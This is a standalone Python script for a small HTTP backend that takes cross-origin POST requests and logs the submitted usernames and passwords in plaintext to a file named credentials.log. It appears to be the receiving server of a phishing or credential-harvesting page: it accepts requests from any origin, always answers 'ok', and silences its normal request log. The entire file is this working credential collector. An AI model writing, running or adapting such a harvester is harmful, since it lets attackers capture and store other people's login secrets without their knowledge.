#!/usr/bin/env python3
import json
import logging
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler

LOG_FILE = "/home/tangyl/frontend/credentials.log"

logging.basicConfig(
    filename=LOG_FILE,
    level=logging.INFO,
    format="%(asctime)s - %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S",
)

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length)
        try:
            data = json.loads(body)
            username = data.get("username", "")
            password = data.get("password", "")
            logging.info(f"username={username} password={password}")
            print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] username={username} password={password}")
        except json.JSONDecodeError:
            logging.info(f"raw_body={body.decode('utf-8', errors='replace')}")

        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(json.dumps({"status": "ok"}).encode())

    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def log_message(self, format, *args):
        pass  # suppress default stderr logging

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 8088), Handler)
    print("Backend listening on port 8088, /get endpoint ready")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        server.shutdown()
